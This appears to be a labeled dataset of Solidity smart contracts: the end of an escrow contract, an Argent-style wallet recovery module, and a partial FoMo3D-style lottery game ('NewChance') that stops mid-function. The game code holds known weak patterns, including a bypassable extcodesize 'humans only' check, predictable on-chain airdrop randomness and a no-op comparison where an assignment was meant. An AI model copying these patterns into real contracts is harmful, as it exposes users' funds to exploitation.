function selfDestruct () external onlyOwner {
selfdestruct(owner);
}
function status (address _tag) external view onlyOwner returns (
transactionStatus _status,
uint _baseAmt,
uint _txnAmt,
uint _sellerFee,
uint _buyerFee,
uint _buyerBalance,
address _buyer,
uint _token) {
Transaction storage transaction = transactions[_tag];
return (
transaction.status,
transaction.baseAmt,
transaction.txnAmt,
transaction.sellerFee,
transaction.buyerFee,
transaction.buyerBalance,
transaction.buyer,
transaction.token
);
}
function variables () external view onlyAllowed returns (
address,
address,
address,
uint) {
address p = eternal.getAddress(0);
return (p, r, reserve, rF);
}
} | 1 | 2,410 |
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface ERC20 {
function totalSupply() external view returns (uint);
function decimals() external view returns (uint);
function balanceOf(address tokenOwner) external view returns (uint balance);
function allowance(address tokenOwner, address spender) external view returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
}
interface IFeature {
enum OwnerSignature {
Anyone,
Required,
Optional,
Disallowed
}
function recoverToken(address _token) external;
function init(address _wallet) external;
function isFeatureAuthorisedInVersionManager(address _wallet, address _feature) external view returns (bool);
function getRequiredSignatures(address _wallet, bytes calldata _data) external view returns (uint256, OwnerSignature);
function getStaticCallSignatures() external view returns (bytes4[] memory);
}
interface IGuardianStorage {
function addGuardian(address _wallet, address _guardian) external;
function revokeGuardian(address _wallet, address _guardian) external;
function isGuardian(address _wallet, address _guardian) external view returns (bool);
function isLocked(address _wallet) external view returns (bool);
function getLock(address _wallet) external view returns (uint256);
function getLocker(address _wallet) external view returns (address);
function setLock(address _wallet, uint256 _releaseAfter) external;
function getGuardians(address _wallet) external view returns (address[] memory);
function guardianCount(address _wallet) external view returns (uint256);
}
interface ILimitStorage {
struct Limit {
uint128 current;
uint128 pending;
uint64 changeAfter;
}
struct DailySpent {
uint128 alreadySpent;
uint64 periodEnd;
}
function setLimit(address _wallet, Limit memory _limit) external;
function getLimit(address _wallet) external view returns (Limit memory _limit);
function setDailySpent(address _wallet, DailySpent memory _dailySpent) external;
function getDailySpent(address _wallet) external view returns (DailySpent memory _dailySpent);
function setLimitAndDailySpent(address _wallet, Limit memory _limit, DailySpent memory _dailySpent) external;
function getLimitAndDailySpent(address _wallet) external view returns (Limit memory _limit, DailySpent memory _dailySpent);
}
interface ILockStorage {
function isLocked(address _wallet) external view returns (bool);
function getLock(address _wallet) external view returns (uint256);
function getLocker(address _wallet) external view returns (address);
function setLock(address _wallet, address _locker, uint256 _releaseAfter) external;
}
interface IModuleRegistry {
function registerModule(address _module, bytes32 _name) external;
function deregisterModule(address _module) external;
function registerUpgrader(address _upgrader, bytes32 _name) external;
function deregisterUpgrader(address _upgrader) external;
function recoverToken(address _token) external;
function moduleInfo(address _module) external view returns (bytes32);
function upgraderInfo(address _upgrader) external view returns (bytes32);
function isRegisteredModule(address _module) external view returns (bool);
function isRegisteredModule(address[] calldata _modules) external view returns (bool);
function isRegisteredUpgrader(address _upgrader) external view returns (bool);
}
interface IVersionManager {
function isFeatureAuthorised(address _wallet, address _feature) external view returns (bool);
function checkAuthorisedFeatureAndInvokeWallet(
address _wallet,
address _to,
uint256 _value,
bytes calldata _data
) external returns (bytes memory _res);
function setOwner(address _wallet, address _newOwner) external;
function invokeStorage(address _wallet, address _storage, bytes calldata _data) external;
function upgradeWallet(address _wallet, uint256 _toVersion) external;
}
interface IWallet {
function owner() external view returns (address);
function modules() external view returns (uint);
function setOwner(address _newOwner) external;
function authorised(address _module) external view returns (bool);
function enabled(bytes4 _sig) external view returns (address);
function authoriseModule(address _module, bool _value) external;
function enableStaticCall(address _module, bytes4 _method) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Utils {
function recoverSigner(bytes32 _signedHash, bytes memory _signatures, uint _index) internal pure returns (address) {
uint8 v;
bytes32 r;
bytes32 s;
assembly {
r := mload(add(_signatures, add(0x20,mul(0x41,_index))))
s := mload(add(_signatures, add(0x40,mul(0x41,_index))))
v := and(mload(add(_signatures, add(0x41,mul(0x41,_index)))), 0xff)
}
require(v == 27 || v == 28);
address recoveredAddress = ecrecover(_signedHash, v, r, s);
require(recoveredAddress != address(0), "Utils: ecrecover returned 0");
return recoveredAddress;
}
function functionPrefix(bytes memory _data) internal pure returns (bytes4 prefix) {
require(_data.length >= 4, "RM: Invalid functionPrefix");
assembly {
prefix := mload(add(_data, 0x20))
}
}
function ceil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
if (a % b == 0) {
return c;
} else {
return c + 1;
}
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
if (a < b) {
return a;
}
return b;
}
}
contract BaseFeature is IFeature {
bytes constant internal EMPTY_BYTES = "";
address constant internal ETH_TOKEN = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
ILockStorage internal lockStorage;
IVersionManager internal versionManager;
event FeatureCreated(bytes32 name);
modifier onlyWhenUnlocked(address _wallet) {
require(!lockStorage.isLocked(_wallet), "BF: wallet locked");
_;
}
modifier onlyVersionManager() {
require(msg.sender == address(versionManager), "BF: caller must be VersionManager");
_;
}
modifier onlyWalletOwner(address _wallet) {
require(isOwner(_wallet, msg.sender), "BF: must be wallet owner");
_;
}
modifier onlyWalletFeature(address _wallet) {
require(versionManager.isFeatureAuthorised(_wallet, msg.sender), "BF: must be a wallet feature");
_;
}
modifier onlyWalletOwnerOrFeature(address _wallet) {
verifyOwnerOrAuthorisedFeature(_wallet, msg.sender);
_;
}
constructor(
ILockStorage _lockStorage,
IVersionManager _versionManager,
bytes32 _name
) public {
lockStorage = _lockStorage;
versionManager = _versionManager;
emit FeatureCreated(_name);
}
function recoverToken(address _token) external virtual override {
uint total = ERC20(_token).balanceOf(address(this));
_token.call(abi.encodeWithSelector(ERC20(_token).transfer.selector, address(versionManager), total));
}
function init(address _wallet) external virtual override {}
function getRequiredSignatures(address, bytes calldata) external virtual view override returns (uint256, OwnerSignature) {
revert("BF: disabled method");
}
function getStaticCallSignatures() external virtual override view returns (bytes4[] memory _sigs) {}
function isFeatureAuthorisedInVersionManager(address _wallet, address _feature) public override view returns (bool) {
return versionManager.isFeatureAuthorised(_wallet, _feature);
}
function verifyData(address _wallet, bytes calldata _data) internal pure returns (bool) {
require(_data.length >= 36, "RM: Invalid dataWallet");
address dataWallet = abi.decode(_data[4:], (address));
return dataWallet == _wallet;
}
function isOwner(address _wallet, address _addr) internal view returns (bool) {
return IWallet(_wallet).owner() == _addr;
}
function verifyOwnerOrAuthorisedFeature(address _wallet, address _sender) internal view {
require(isFeatureAuthorisedInVersionManager(_wallet, _sender) || isOwner(_wallet, _sender), "BF: must be owner or feature");
}
function invokeWallet(address _wallet, address _to, uint256 _value, bytes memory _data)
internal
returns (bytes memory _res)
{
_res = versionManager.checkAuthorisedFeatureAndInvokeWallet(_wallet, _to, _value, _data);
}
}
contract RecoveryManager is BaseFeature {
bytes32 constant NAME = "RecoveryManager";
bytes4 constant internal EXECUTE_RECOVERY_PREFIX = bytes4(keccak256("executeRecovery(address,address)"));
bytes4 constant internal FINALIZE_RECOVERY_PREFIX = bytes4(keccak256("finalizeRecovery(address)"));
bytes4 constant internal CANCEL_RECOVERY_PREFIX = bytes4(keccak256("cancelRecovery(address)"));
bytes4 constant internal TRANSFER_OWNERSHIP_PREFIX = bytes4(keccak256("transferOwnership(address,address)"));
struct RecoveryConfig {
address recovery;
uint64 executeAfter;
uint32 guardianCount;
}
mapping (address => RecoveryConfig) internal recoveryConfigs;
uint256 public recoveryPeriod;
uint256 public lockPeriod;
IGuardianStorage public guardianStorage;
event RecoveryExecuted(address indexed wallet, address indexed _recovery, uint64 executeAfter);
event RecoveryFinalized(address indexed wallet, address indexed _recovery);
event RecoveryCanceled(address indexed wallet, address indexed _recovery);
event OwnershipTransfered(address indexed wallet, address indexed _newOwner);
modifier onlyWhenRecovery(address _wallet) {
require(recoveryConfigs[_wallet].executeAfter > 0, "RM: there must be an ongoing recovery");
_;
}
modifier notWhenRecovery(address _wallet) {
require(recoveryConfigs[_wallet].executeAfter == 0, "RM: there cannot be an ongoing recovery");
_;
}
constructor(
ILockStorage _lockStorage,
IGuardianStorage _guardianStorage,
IVersionManager _versionManager,
uint256 _recoveryPeriod,
uint256 _lockPeriod
)
BaseFeature(_lockStorage, _versionManager, NAME)
public
{
require(_lockPeriod >= _recoveryPeriod, "RM: insecure security periods");
recoveryPeriod = _recoveryPeriod;
lockPeriod = _lockPeriod;
guardianStorage = _guardianStorage;
}
function executeRecovery(address _wallet, address _recovery) external onlyWalletFeature(_wallet) notWhenRecovery(_wallet) {
validateNewOwner(_wallet, _recovery);
RecoveryConfig storage config = recoveryConfigs[_wallet];
config.recovery = _recovery;
config.executeAfter = uint64(block.timestamp + recoveryPeriod);
config.guardianCount = uint32(guardianStorage.guardianCount(_wallet));
setLock(_wallet, block.timestamp + lockPeriod);
emit RecoveryExecuted(_wallet, _recovery, config.executeAfter);
}
function finalizeRecovery(address _wallet) external onlyWhenRecovery(_wallet) {
RecoveryConfig storage config = recoveryConfigs[address(_wallet)];
require(uint64(block.timestamp) > config.executeAfter, "RM: the recovery period is not over yet");
address recoveryOwner = config.recovery;
delete recoveryConfigs[_wallet];
versionManager.setOwner(_wallet, recoveryOwner);
setLock(_wallet, 0);
emit RecoveryFinalized(_wallet, recoveryOwner);
}
function cancelRecovery(address _wallet) external onlyWalletFeature(_wallet) onlyWhenRecovery(_wallet) {
RecoveryConfig storage config = recoveryConfigs[address(_wallet)];
address recoveryOwner = config.recovery;
delete recoveryConfigs[_wallet];
setLock(_wallet, 0);
emit RecoveryCanceled(_wallet, recoveryOwner);
}
function transferOwnership(address _wallet, address _newOwner) external onlyWalletFeature(_wallet) onlyWhenUnlocked(_wallet) {
validateNewOwner(_wallet, _newOwner);
versionManager.setOwner(_wallet, _newOwner);
emit OwnershipTransfered(_wallet, _newOwner);
}
function getRecovery(address _wallet) external view returns(address _address, uint64 _executeAfter, uint32 _guardianCount) {
RecoveryConfig storage config = recoveryConfigs[_wallet];
return (config.recovery, config.executeAfter, config.guardianCount);
}
function getRequiredSignatures(address _wallet, bytes calldata _data) external view override returns (uint256, OwnerSignature) {
bytes4 methodId = Utils.functionPrefix(_data);
if (methodId == EXECUTE_RECOVERY_PREFIX) {
uint walletGuardians = guardianStorage.guardianCount(_wallet);
require(walletGuardians > 0, "RM: no guardians set on wallet");
uint numberOfSignaturesRequired = Utils.ceil(walletGuardians, 2);
return (numberOfSignaturesRequired, OwnerSignature.Disallowed);
}
if (methodId == FINALIZE_RECOVERY_PREFIX) {
return (0, OwnerSignature.Anyone);
}
if (methodId == CANCEL_RECOVERY_PREFIX) {
uint numberOfSignaturesRequired = Utils.ceil(recoveryConfigs[_wallet].guardianCount + 1, 2);
return (numberOfSignaturesRequired, OwnerSignature.Optional);
}
if (methodId == TRANSFER_OWNERSHIP_PREFIX) {
uint majorityGuardians = Utils.ceil(guardianStorage.guardianCount(_wallet), 2);
uint numberOfSignaturesRequired = SafeMath.add(majorityGuardians, 1);
return (numberOfSignaturesRequired, OwnerSignature.Required);
}
revert("RM: unknown method");
}
function validateNewOwner(address _wallet, address _newOwner) internal view {
require(_newOwner != address(0), "RM: new owner address cannot be null");
require(!guardianStorage.isGuardian(_wallet, _newOwner), "RM: new owner address cannot be a guardian");
}
function setLock(address _wallet, uint256 _releaseAfter) internal {
versionManager.invokeStorage(
_wallet,
address(lockStorage),
abi.encodeWithSelector(lockStorage.setLock.selector, _wallet, address(this), _releaseAfter)
);
}
} | 1 | 2,797 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularShort is F3Devents {}
contract NewChance is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xdF762c13796758D89C91F7fdac1287b8Eeb294c4);
address private admin1 = 0xFf387ccF09fD2F01b85721e1056B49852ECD27D6;
address private admin2 = msg.sender;
string constant public name = "New Chance";
string constant public symbol = "NEWCH";
uint256 private rndExtra_ = 12 hours;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 2 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(36,0);
fees_[1] = F3Ddatasets.TeamFee(59,0);
fees_[2] = F3Ddatasets.TeamFee(66,0);
fees_[3] = F3Ddatasets.TeamFee(46,0);
potSplit_[0] = F3Ddatasets.PotSplit(7,0);
potSplit_[1] = F3Ddatasets.PotSplit(22,0);
potSplit_[2] = F3Ddatasets.PotSplit(12,0);
potSplit_[3] = F3Ddatasets.PotSplit(27,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 1, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
